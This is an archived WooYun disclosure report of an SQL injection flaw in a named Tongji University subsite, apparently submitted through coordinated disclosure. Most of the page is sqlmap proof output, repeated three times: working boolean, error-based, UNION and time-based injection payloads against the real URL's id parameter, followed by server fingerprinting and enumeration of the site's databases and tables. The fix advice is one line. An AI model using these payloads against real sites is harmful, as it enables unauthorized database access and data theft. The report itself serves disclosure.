当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064163

漏洞标题:同济大学分站注射漏洞

相关厂商:同济大学

漏洞作者: Hotler0o

提交时间:2014-06-09 17:15

修复时间:2014-07-24 17:18

公开时间:2014-07-24 17:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-09: 细节已通知厂商并且等待厂商处理中
2014-06-10: 厂商已经确认,细节仅向厂商公开
2014-06-20: 细节向核心白帽子及相关领域专家公开
2014-06-30: 细节向普通白帽子公开
2014-07-10: 细节向实习白帽子公开
2014-07-24: 细节向公众公开

简要描述:

同济大学分站注射漏洞

详细说明:

http://jgdw.tongji.edu.cn/Index.php?r=guest/block&id=1 参数id注射

漏洞证明:

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: r=guest/block&id=2 AND 6598=6598
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: r=guest/block&id=2 AND (SELECT 8349 FROM(SELECT COUNT(*),CONCAT(0x716a777a71,(SELECT (CASE WHEN (8349=8349) THEN 1 ELSE 0 END)),0x7166756971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: r=guest/block&id=2 UNION ALL SELECT CONCAT(0x716a777a71,0x7351496d735777634f50,0x7166756971),NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: r=guest/block&id=2 AND SLEEP(5)
---
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: r=guest/block&id=2 AND 6598=6598
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: r=guest/block&id=2 AND (SELECT 8349 FROM(SELECT COUNT(*),CONCAT(0x716a777a71,(SELECT (CASE WHEN (8349=8349) THEN 1 ELSE 0 END)),0x7166756971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: r=guest/block&id=2 UNION ALL SELECT CONCAT(0x716a777a71,0x7351496d735777634f50,0x7166756971),NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: r=guest/block&id=2 AND SLEEP(5)
---
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0
available databases [3]:
[*] information_schema
[*] jgdw
[*] test
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: r=guest/block&id=2 AND 6598=6598
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: r=guest/block&id=2 AND (SELECT 8349 FROM(SELECT COUNT(*),CONCAT(0x716a777a71,(SELECT (CASE WHEN (8349=8349) THEN 1 ELSE 0 END)),0x7166756971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: r=guest/block&id=2 UNION ALL SELECT CONCAT(0x716a777a71,0x7351496d735777634f50,0x7166756971),NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: r=guest/block&id=2 AND SLEEP(5)
---
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0
Database: jgdw
[4 tables]
+---------+
| user |
| article |
| block |
| file |
+---------+

修复方案:

参数过滤

版权声明:转载请注明来源 Hotler0o@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-06-10 08:39

厂商回复:

已经通知用户进行修改

最新状态:

暂无


漏洞评价:

评论